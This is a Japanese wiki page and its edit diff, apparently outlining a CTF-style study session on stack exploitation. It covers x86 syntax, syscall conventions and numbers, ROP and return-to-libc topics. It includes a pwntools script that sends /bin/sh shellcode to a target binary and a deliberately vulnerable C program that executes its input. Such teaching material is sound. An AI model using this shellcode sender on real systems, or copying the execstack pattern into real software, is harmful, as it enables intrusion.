サイズ: 2190
コメント:
|
サイズ: 4879
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 4: | 行 4: |
== Tools == | = Tools = |
行 10: | 行 10: |
* nasm | |
行 20: | 行 21: |
== Shellcode == | = x86 assembly = * Intel記法 * データはオペランドの右から左に流れる * 比較命令のオペランドの順序が命令名と一致しているためわかりやすい * 例{{{ 14: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 17: 01 45 fc add DWORD PTR [rbp-0x4],eax 1a: 83 45 f8 01 add DWORD PTR [rbp-0x8],0x1 1e: 83 7d f8 09 cmp DWORD PTR [rbp-0x8],0x9 22: 7e f0 jle 14 <f+0x14> }}} * AT&T記法 * Intel記法のオペランドと逆順 * 例{{{ 14: 8b 45 f8 mov -0x8(%rbp),%eax 17: 01 45 fc add %eax,-0x4(%rbp) 1a: 83 45 f8 01 addl $0x1,-0x8(%rbp) 1e: 83 7d f8 09 cmpl $0x9,-0x8(%rbp) 22: 7e f0 jle 14 <f+0x14> }}} = System call = * システムコールとは * プログラムがカーネルとやりとりする一元化された窓口 * プログラムの動作権限 * ユーザモード * 普通のプログラムが動作 * 基本的にプロセスのメモリ内で計算しかできない. * それ以外のことをするためにはシステムコールを呼ぶ * カーネルモード * カーネルが動作 * 任意の操作が可能 {{attachment:systemcall.png}} = How to call System calls = システムコールの呼び出し方 * x86 * int 0x80 * INTerrupt (ソフトウェア割り込み命令) * システムコール番号: eax * 引数: ebx, ecx, edx, esi, edi, ebp * x86-64 * syscall命令 * システムコール番号: rax * 引数: rdi, rsi, rdx, r10, r8, r9 ||<rowclass="header"> arch || instruction || syscall # || retval || arg1 || arg2 || arg3 || arg4 || arg5 || arg6 || || x86 || int 0x80 || eax || eax || ebx || ecx || edx || esi || edi || ebp || || x86-64 || syscall || rax || rax || rdi || rsi || rdx || r10 || r8 || r9 || = システムコール番号 = ||<rowclass="header"> system call || x86 || x86-64 || || execve || 11 || 59 || || open || 5 || 2 || || read || 3 || 0 || || write || 4 || 1 || 参考文献 * /usr/include/x86_64-linux-gnu/asm/unistd_32.h * /usr/include/x86_64-linux-gnu/asm/unistd_64.h = Pwntools = {{{#!highlight python # -*- coding: utf-8 -*- from pwn import * ## exploit対象のアーキテクチャ context(arch = "i386", os = "linux") #context(arch = "amd64", os = "linux") ## 攻撃のサーバに接続 conn = process("./baby1") # conn = remote("ctforderpwn.cloudapp.net", 11011) ## ": "を受信するまでrecv conn.recvuntil(": ") ## シェルコードをアセンブル s = asm(shellcraft.sh()) ## シェルコードを送信 conn.send(s) ## コンソールの入出力を攻撃対象に接続 conn.interactive() }}} = Shellcode = |
行 24: | 行 109: |
#include <stdio.h> | |
行 28: | 行 112: |
fread(buf, 1, 4096, stdin); | write(1, "Send me shellcode: ", 19); read(0, buf, 1024); |
行 33: | 行 118: |
== x86/x86-64 ABI == チートシート == System call == システムコールの呼び出し方 == Shellcode(slightly modified) == {{{#!highlight c // gcc -z execstack -fno-stack-protector -o baby2 baby2.c // -m32 / -m64 両方やってもらうよ! #include <stdio.h> typedef void func(); int main() { char buf[1024]; scanf("%1023s", buf); ((func *)buf)(); } }}} |
= Shellcode(no /bin/sh) = * chroot環境 * /bin/shが無いのでopen, read, writeを自分で行う |
行 53: | 行 123: |
== Return-to-plt == | = x86/x86-64 ABI = [[http://d.sunnyone.org/2012/09/x86x8664.html|x86/x86_64関数呼び出しチートシート]] = Return-to-plt = |
行 59: | 行 132: |
int main() { | int f() { |
行 65: | 行 138: |
int main() { return f(); } | |
行 67: | 行 141: |
== ASLR == | = ASLR = |
行 70: | 行 144: |
== Return-to-libc == | = Return-to-libc = |
行 74: | 行 148: |
int main() { | int f() { |
行 80: | 行 154: |
int main() { return f(); } | |
行 83: | 行 158: |
== Return-to-plt revisited(x86-64) with tiny ROP == | = Return-to-plt revisited(x86-64) with tiny ROP = |
行 89: | 行 164: |
int main() { | int f() { |
行 95: | 行 170: |
int main() { return f(); } | |
行 99: | 行 175: |
== ROP == | = ROP = |
行 103: | 行 179: |
int main() { | int f() { |
行 108: | 行 184: |
int main() { return f(); } | |
行 110: | 行 187: |
= Pwn勉強会(Stack day 2) = | = 実践 = |
行 112: | 行 189: |
= Pwn勉強会(Heap day 1) = やりたいな |
Pwn勉強会(Stack day 1)
Tools
- Disassembler
- udcli / ndisasm
- objdump
- METASM / Hopper / IDA Pro
- Assembler
- nasm
- Pwntools
- METASM?
- Debugger
- gdb-peda
- Pwn toolkit
- Pwntools
- Ruby系でなにか
Python(Pwntools)とRuby(METASM? ctfライブラリ?)好きな方を選んで作業を進めてもらう.
x86 assembly
- Intel記法
- データはオペランドの右から左に流れる
- 比較命令のオペランドの順序が命令名と一致しているためわかりやすい
例
14: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 17: 01 45 fc add DWORD PTR [rbp-0x4],eax 1a: 83 45 f8 01 add DWORD PTR [rbp-0x8],0x1 1e: 83 7d f8 09 cmp DWORD PTR [rbp-0x8],0x9 22: 7e f0 jle 14 <f+0x14>
AT&T記法
- Intel記法のオペランドと逆順
例
14: 8b 45 f8 mov -0x8(%rbp),%eax 17: 01 45 fc add %eax,-0x4(%rbp) 1a: 83 45 f8 01 addl $0x1,-0x8(%rbp) 1e: 83 7d f8 09 cmpl $0x9,-0x8(%rbp) 22: 7e f0 jle 14 <f+0x14>
System call
- システムコールとは
- プログラムがカーネルとやりとりする一元化された窓口
- プログラムの動作権限
- ユーザモード
- 普通のプログラムが動作
- 基本的にプロセスのメモリ内で計算しかできない.
- それ以外のことをするためにはシステムコールを呼ぶ
- カーネルモード
- カーネルが動作
- 任意の操作が可能
- ユーザモード
How to call System calls
システムコールの呼び出し方
- x86
- int 0x80
- INTerrupt (ソフトウェア割り込み命令)
- システムコール番号: eax
- 引数: ebx, ecx, edx, esi, edi, ebp
- int 0x80
- x86-64
- syscall命令
- システムコール番号: rax
- 引数: rdi, rsi, rdx, r10, r8, r9
arch |
instruction |
syscall # |
retval |
arg1 |
arg2 |
arg3 |
arg4 |
arg5 |
arg6 |
x86 |
int 0x80 |
eax |
eax |
ebx |
ecx |
edx |
esi |
edi |
ebp |
x86-64 |
syscall |
rax |
rax |
rdi |
rsi |
rdx |
r10 |
r8 |
r9 |
システムコール番号
system call |
x86 |
x86-64 |
execve |
11 |
59 |
open |
5 |
2 |
read |
3 |
0 |
write |
4 |
1 |
参考文献
- /usr/include/x86_64-linux-gnu/asm/unistd_32.h
- /usr/include/x86_64-linux-gnu/asm/unistd_64.h
Pwntools
1 # -*- coding: utf-8 -*-
2 from pwn import *
3 ## exploit対象のアーキテクチャ
4 context(arch = "i386", os = "linux")
5 #context(arch = "amd64", os = "linux")
6 ## 攻撃のサーバに接続
7 conn = process("./baby1")
8 # conn = remote("ctforderpwn.cloudapp.net", 11011)
9 ## ": "を受信するまでrecv
10 conn.recvuntil(": ")
11 ## シェルコードをアセンブル
12 s = asm(shellcraft.sh())
13 ## シェルコードを送信
14 conn.send(s)
15 ## コンソールの入出力を攻撃対象に接続
16 conn.interactive()
Shellcode
Shellcode(no /bin/sh)
- chroot環境
- /bin/shが無いのでopen, read, writeを自分で行う
x86/x86-64 ABI
Return-to-plt
ASLR
ASLRについて説明
Return-to-libc
Return-to-plt revisited(x86-64) with tiny ROP
ROP
実践
適当な問題を探す